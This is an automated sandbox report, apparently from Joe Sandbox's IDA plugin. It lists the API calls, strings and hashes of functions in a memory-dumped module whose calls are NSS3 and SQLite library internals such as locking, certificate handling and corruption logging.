Part of subcall function 6C601770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6018DE
Part of subcall function 6C601770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6018F1

PR_NewMonitor.NSS3(?,6C6AAA9B,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A688C

Part of subcall function 6C601770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6018FC
Part of subcall function 6C601770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C60198A

PR_NewLock.NSS3 ref: 6C6A68A5

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PR_NewLock.NSS3 ref: 6C6A68B4

Part of subcall function 6C6D98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6D9946
Part of subcall function 6C6D98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5916B7,00000000), ref: 6C6D994E
Part of subcall function 6C6D98D0: free.MOZGLUE(00000000), ref: 6C6D995E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: f46ab53bdeaf8e1798c11a5d601804bac2b42ee0729306bf00538e3c8e356ee2
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 4301FFB0601F0756E75A6BB948103E776F89F0278DF10093A946AD5B40EF75E8098BBD

Function 6C5FAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FAFDA

Strings

%s at line %d of [%.10s], xrefs: 6C5FAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C5FAF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FAFC4
misuse, xrefs: 6C5FAFCE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 4d5e7a96d85da5f3c06bb79629be39ce667e623f9133f874479ff13ebb953e41
Instruction ID: 24e1012cf36f2b0456f0237bb7ce5da23eed539e09d43456ab38cab6751322b0
Opcode Fuzzy Hash: 4d5e7a96d85da5f3c06bb79629be39ce667e623f9133f874479ff13ebb953e41
Instruction Fuzzy Hash: 2C91E175A002158FEB08CF69CC94AAAB7F1BF49314F1985A8E865AB751D334ED02CF61

Function 6C5A4AC0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6C5A4C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5A4C24
Prl, xrefs: 6C5A4B8D
winWrite1, xrefs: 6C5A4BC2
winWrite2, xrefs: 6C5A4C01

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: Prl$delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-2067603271
Opcode ID: 1989bc7d7a6b27a3da8df2d55ca145826b6796116ca00eb532d57ac423c33d33
Instruction ID: e2b38a92fa71c58903217f73aa12e487fbc0db6d9618088e7d20cb07992ee466
Opcode Fuzzy Hash: 1989bc7d7a6b27a3da8df2d55ca145826b6796116ca00eb532d57ac423c33d33
Instruction Fuzzy Hash: F0418171A043099BDB04CF9ADC51A5EBBF9FFC9354F118A29F85887790EB30D9058B92

Function 6C6249C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C624860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C626361,?,?,?), ref: 6C624A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C626361,?,?,?), ref: 6C624AD0

Strings

^jbl, xrefs: 6C6249C5
acbl, xrefs: 6C6249FB
acbl, xrefs: 6C624AB4

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jbl$acbl$acbl
API String ID: 1982233058-1232135871
Opcode ID: 9dde482a2a3a4de419d0c68cda425138af538cdc6c3c2b7c159dca635a7e87ae
Instruction ID: d1662ac590d1fd781c1831a14d559f98361e2f42ac6bbed90098f7e7128b9eee
Opcode Fuzzy Hash: 9dde482a2a3a4de419d0c68cda425138af538cdc6c3c2b7c159dca635a7e87ae
Instruction Fuzzy Hash: A131F930A0410697FB148A48EC90BBE7275EB82318F204A3AD515F7BC9C6BC99458F9E

Function 6C59E4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59E53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59E5BC

Strings

%s at line %d of [%.10s], xrefs: 6C59E534, 6C59E5B6
database corruption, xrefs: 6C59E52F, 6C59E5B1
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59E525, 6C59E596, 6C59E5A7

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 05f42dcfa1fd1fb9066145e5f9e4eb8bf0fc0f08ea9cd6646a6db02dd8f14d1c
Instruction ID: 216e013dcabd88adc08460fcd4d0534184a3d999ac9555f4f8cc5fc213bdfb3a
Opcode Fuzzy Hash: 05f42dcfa1fd1fb9066145e5f9e4eb8bf0fc0f08ea9cd6646a6db02dd8f14d1c
Instruction Fuzzy Hash: 03314730B40B559BC311CEADCC8196EB7A1FB46724B544DBDE848A7B46F3A4E949C3E0

Function 6C686DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C686E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686E57

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C686E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C686EAA

Strings

nrl, xrefs: 6C686DF9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nrl
API String ID: 3163584228-4163017231
Opcode ID: c2c623d46223f9d4e24235fda36602ad71d969d4a997775e845e878b72dfc532
Instruction ID: 083af43f062e280d5cf99f03ca128d9c069236866c192dd74b608c03b50f050a
Opcode Fuzzy Hash: c2c623d46223f9d4e24235fda36602ad71d969d4a997775e845e878b72dfc532
Instruction Fuzzy Hash: 9E31E13163A616EEDB141E34CC0C396B7A4AB0231AF14063CD99AD6A40EB30F456CBB9

Function 6C6BA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C6A2AE9,00000000,0000065C), ref: 6C6BA91D

Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
Part of subcall function 6C65ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
Part of subcall function 6C65ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
Part of subcall function 6C65ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C6A2AE9,00000000,0000065C), ref: 6C6BA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C6A2AE9,00000000,0000065C), ref: 6C6BA949
free.MOZGLUE(?,00000000,0000065C), ref: 6C6BA952

Strings

*jl, xrefs: 6C6BA8F6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *jl
API String ID: 1595327144-3314773022
Opcode ID: c9bcf343edf10dbe5f5b0a24b7db244a8c536e3418125692059b6ce58ec9ebf7
Instruction ID: 9c67ee031e8a007d85be15b1bb66961a01499db474adfdfff7cc74885b0bb037
Opcode Fuzzy Hash: c9bcf343edf10dbe5f5b0a24b7db244a8c536e3418125692059b6ce58ec9ebf7
Instruction Fuzzy Hash: 3A3139B4601201DFDB04DF19D990E62BBE8FF49318B1582A9E8199B756E730E810CFA5

Function 6C616420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C615DEF,?,?,?), ref: 6C616456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C615DEF,?,?,?), ref: 6C616476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C615DEF,?,?,?), ref: 6C6164A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C615DEF,?,?,?), ref: 6C6164C2

Strings

]al, xrefs: 6C616489

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]al
API String ID: 3886907618-2010761984
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 3e94fb0a92d22a23c241b7c6f8de1b27cf251807df7b9b7fd8a9b74bb596019e
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 6D2127B4A082017FEB209E2DDC05BA776E8EF4030AF148538F91AC6F41E7B2D558C399

Function 6C6EA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C5B7915,?,?), ref: 6C6EA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C5B7915,?,?), ref: 6C6EA8A6

Strings

%s at line %d of [%.10s], xrefs: 6C6EA8A0
database corruption, xrefs: 6C6EA89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EA891

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 400c8db28e73a92469b4e4efe77f7644c1cba04bf00450c81dd42b8f35974d88
Instruction ID: c7c9b1838d5fcc45d60ac757bd039f52c0e2a8aea17cde3d3ab30890d5fe2d6b
Opcode Fuzzy Hash: 400c8db28e73a92469b4e4efe77f7644c1cba04bf00450c81dd42b8f35974d88
Instruction Fuzzy Hash: 1F110671A05214ABD7058F21DC41AAABBB5FF89314F008439FC054BB41EB34AD16CB96

Function 6C64CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C62B1EE,D958E836,?,6C6651C5), ref: 6C64CAFA
PR_UnloadLibrary.NSS3(?,6C6651C5), ref: 6C64CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C62B1EE,D958E836,?,6C6651C5), ref: 6C64CB2C
PR_UnloadLibrary.NSS3(6C6651C5), ref: 6C64CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6C64CAF5, 6C64CB27

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: e459ee219d6f430af8399e702d82caa7709b8f157d7b22b6e10b69278ef76f3a
Instruction ID: 1507298d3b1671efc1e28a1596405616c11eb41517b4953bb24ddcbdcb8c6495
Opcode Fuzzy Hash: e459ee219d6f430af8399e702d82caa7709b8f157d7b22b6e10b69278ef76f3a
Instruction Fuzzy Hash: E911B1B1B00A25EBE745EB25E908741B6B4FB01B4CF04C53AD81692F40E770E198CBEE

Function 6C600DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C600BDE), ref: 6C600DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C600BDE), ref: 6C600DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C600BDE), ref: 6C600DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C600BDE), ref: 6C600E32

Strings

%s incr => %d (find lib), xrefs: 6C600E2D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 8dbaa92e8eed78e6496af3122f03cd13975db11048b7b31165bcb910b58f84f6
Instruction ID: 10c1b503f817aa5428c19e353b673a9e68c600e4c340c2f3c2451ff1af58f32f
Opcode Fuzzy Hash: 8dbaa92e8eed78e6496af3122f03cd13975db11048b7b31165bcb910b58f84f6
Instruction Fuzzy Hash: 7101F1727002249FE7249F258D49E5773ACDB45B09B04483DE949E3A41EA61EC1586E1

Function 6C6BAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC2D

Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
Part of subcall function 6C65ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
Part of subcall function 6C65ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
Part of subcall function 6C65ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9

PK11_FreeSymKey.NSS3(?,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC59
free.MOZGLUE(8CB6FF01,6C696AC6,?,?,?,?,?,?,?,?,?,?,6C6A5D40,00000000,?,6C6AAAD4), ref: 6C6BAC62

Strings

@]jl, xrefs: 6C6BAC05

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]jl
API String ID: 1595327144-86152348
Opcode ID: 3ae1def77bf3068dc2faeaa33b569ec039c9c398492240492727f24bb49c531f
Instruction ID: f25dd86db0c218a76cfb5d69e9722bf2d03a8f4bc820ff2227f587cc19e622dc
Opcode Fuzzy Hash: 3ae1def77bf3068dc2faeaa33b569ec039c9c398492240492727f24bb49c531f
Instruction Fuzzy Hash: BD018BB56002009FDB00DF19E8C0B5677E8AF05B18F1880A8E9499F707D730F818CBBA

Function 6C592940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C591360,00000000), ref: 6C592A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C591360,00000000), ref: 6C592A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C592A7C

Part of subcall function 6C592D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D94791F6,?,?,00000000,?,6C59296E), ref: 6C592DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C592AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C591360,00000000), ref: 6C592B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C592B90

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: eb3001a115ada630614998b9098e992a326dac89b3f20675ff74c1aa0d21bdf5
Instruction ID: 8f1ce5f9658110bcfad0cef9b4c79a188c7afd1d28e516887f8a29be8e6c0bb6
Opcode Fuzzy Hash: eb3001a115ada630614998b9098e992a326dac89b3f20675ff74c1aa0d21bdf5
Instruction Fuzzy Hash: 70C1C171F012469BEB04CF69CC987AAB7B6EF89308F1482A9D9199B741D730E841CBD1

